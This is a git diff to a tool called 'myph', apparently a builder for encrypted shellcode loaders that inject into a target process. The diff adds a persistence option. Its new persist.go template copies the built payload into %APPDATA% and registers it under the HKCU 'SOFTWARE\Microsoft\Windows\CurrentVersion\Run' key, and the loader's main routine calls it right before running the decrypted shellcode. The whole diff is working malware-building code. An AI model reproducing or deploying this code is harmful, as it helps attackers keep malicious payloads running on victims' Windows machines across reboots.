diff --git a/README.md b/README.md
@@ -76,6 +76,7 @@ Flags:
-h, --help help for myph
-k, --key string encryption key, auto-generated if empty. (if used by --encryption)
-f, --out string output name (default "payload.exe")
+ -z, --peristence string name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' reg key (default: "")
-p, --process string target process to inject shellcode to (default "cmd.exe")
-s, --shellcode string shellcode path (default "msf.raw")
--sleep-time uint sleep time in seconds before executing loader (default: 0)
diff --git a/cli/defaults.go b/cli/defaults.go
@@ -19,6 +19,7 @@ func GetDefaultCLIOptions() Options {
PEFilePath: "payload.exe",
VersionFilePath: "goversion.json",
BuildType: "exe",
+ Persistence: "",
}
return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -129,7 +129,7 @@ func GetParser(opts *Options) *cobra.Command {
fmt.Printf("%s\n\n", ASCII_ART)
/* later, we will call "go build" on a golang project, so we need to set up the project tree */
- err := tools.CreateTmpProjectRoot(MYPH_TMP_DIR)
+ err := tools.CreateTmpProjectRoot(MYPH_TMP_DIR, opts.Persistence)
if err != nil {
fmt.Printf("[!] Error generating project root: %s\n", err)
os.Exit(1)
@@ -224,6 +224,21 @@ func GetParser(opts *Options) *cobra.Command {
panic(err)
}
+ persistData := ""
+ if opts.Persistence != "" {
+ persistData = fmt.Sprintf(`persistExecute("%s")`, opts.Persistence)
+ execCmd := exec.Command("go", "get", "golang.org/x/sys/windows/registry")
+ execCmd.Dir = MYPH_TMP_DIR
+ _, _ = execCmd.Output()
+
+ template = tools.GetPersistTemplate()
+ err = tools.WriteToFile(MYPH_TMP_DIR, "persist.go", template)
+ if err != nil {
+ panic(err)
+ }
+ fmt.Printf("\nUsing persistence technique, file will be installed to %%APPDATA%%\\%s\n", opts.Persistence)
+ }
+
/* write main execution template */
encodedShellcode := tools.EncodeForInterpolation(encType, encrypted)
encodedKey := tools.EncodeForInterpolation(encType, []byte(opts.Key))
@@ -235,6 +250,7 @@ func GetParser(opts *Options) *cobra.Command {
encodedKey,
encodedShellcode,
opts.SleepTime,
+ persistData,
opts.BuildType == "dll",
),
)
@@ -297,7 +313,8 @@ func GetParser(opts *Options) *cobra.Command {
rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
-
+ rootCmd.PersistentFlags().StringVarP(&opts.Persistence, "peristence", "z", defaults.Persistence, "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' reg key (default: \"\")")
+
spoofMetadata.Flags().StringVarP(&opts.PEFilePath, "pe", "p", defaults.PEFilePath, "PE file to spoof")
spoofMetadata.Flags().StringVarP(&opts.VersionFilePath, "file", "f", defaults.VersionFilePath, "manifest file path (as JSON)")
diff --git a/cli/types.go b/cli/types.go
@@ -94,6 +94,10 @@ type Options struct {
// Sleep time before running execution
SleepTime uint
+
+ // Registry-Persistence handler
+ Persistence string
+
// Goversion filepath
VersionFilePath string
diff --git a/tools/persist.go b/tools/persist.go
@@ -0,0 +1,114 @@
+package tools
+
+import "fmt"
+
+func GetPersistTemplate() string {
+ return fmt.Sprintf(`
+package main
+
+import (
+ "io"
+ "os"
+ "strings"
+
+ "golang.org/x/sys/windows/registry"
+)
+
+func getCurrentProcessPath() string {
+ path, err := os.Executable()
+ if err != nil {
+ return ""
+ }
+ return path
+}
+
+func filenameToName(filename string) string {
+ filename_splitted := strings.Split(filename, ".")
+ return filename_splitted[0]
+}
+
+func getAppDataPath() string {
+ path, err := os.UserConfigDir()
+ if err != nil {
+ return ""
+ }
+ return path
+}
+
+func getRegistryKey(keyName string) (string, error) {
+ k, err := registry.OpenKey(registry.CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", registry.QUERY_VALUE)
+ if err != nil {
+ return "", err
+ }
+ defer k.Close()
+
+ s, _, err := k.GetStringValue(keyName)
+ if err != nil {
+ return "", err
+ }
+ return s, err
+}
+
+func SetRegistryValue(keyName string, keyValue string) error {
+
+ k, err := registry.OpenKey(registry.CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", registry.ALL_ACCESS)
+ if err != nil {
+ return err
+ }
+ defer k.Close()
+
+ err = k.SetStringValue(keyName, keyValue)
+ if err != nil {
+ return err
+ }
+ return err
+}
+
+func fileExists(filename string) bool {
+ info, err := os.Stat(filename)
+ if os.IsNotExist(err) {
+ return false
+ }
+ return !info.IsDir()
+}
+
+func copyFile(src string, dest string) {
+ in, err := os.Open(src)
+ if err != nil {
+ return
+ }
+ defer in.Close()
+ out, err := os.Create(dest)
+ if err != nil {
+ return
+ }
+ defer func() {
+ cerr := out.Close()
+ if err == nil {
+ err = cerr
+ }
+ }()
+ if _, err = io.Copy(out, in); err != nil {
+ return
+ }
+ err = out.Sync()
+ return
+}
+
+func persistExecute(outFile string) {
+ currentFilePath := getCurrentProcessPath()
+ keyName := filenameToName(outFile)
+ installFile := getAppDataPath() + "\\" + outFile
+
+ if !fileExists(installFile) {
+ copyFile(currentFilePath, installFile)
+
+ }
+ keyVal, err := getRegistryKey(keyName)
+ if err != nil || keyVal != installFile {
+ SetRegistryValue(keyName, installFile)
+ }
+
+}
+`)
+}
diff --git a/tools/utils.go b/tools/utils.go
@@ -79,7 +79,7 @@ func DirExists(dir string) (bool, error) {
return false, err
}
-func CreateTmpProjectRoot(path string) error {
+func CreateTmpProjectRoot(path string, persist string) error {
fmt.Printf("[+] Initializing temporary build directory\n")
@@ -123,6 +123,11 @@ go 1.19
encryptgo_path := fmt.Sprintf("%s/encrypt.go", path)
_, _ = os.Create(encryptgo_path)
+ if persist != "" {
+ encryptgo_path := fmt.Sprintf("%s/persist.go", path)
+ _, _ = os.Create(encryptgo_path)
+ }
+
println("\n")
return nil
}
@@ -132,6 +137,7 @@ func GetMainTemplate(
key string,
sc string,
sleepTime uint,
+ persistData string,
shouldExport bool,
) string {
@@ -158,6 +164,7 @@ import (
enc "encoding/%s"
"fmt"
)
+
%s
var Key = %s
var Code = %s
@@ -172,7 +179,9 @@ var Code = %s
}
time.Sleep(%d * time.Second)
+
+ %s
ExecuteOrderSixtySix(decrypted)
}
- `, encoding, exportImpStr, key, sc, exportexpStr, encCall, encCall, sleepTime)
+ `, encoding, exportImpStr, key, sc, exportexpStr, encCall, encCall, sleepTime, persistData)
}
| | | | | |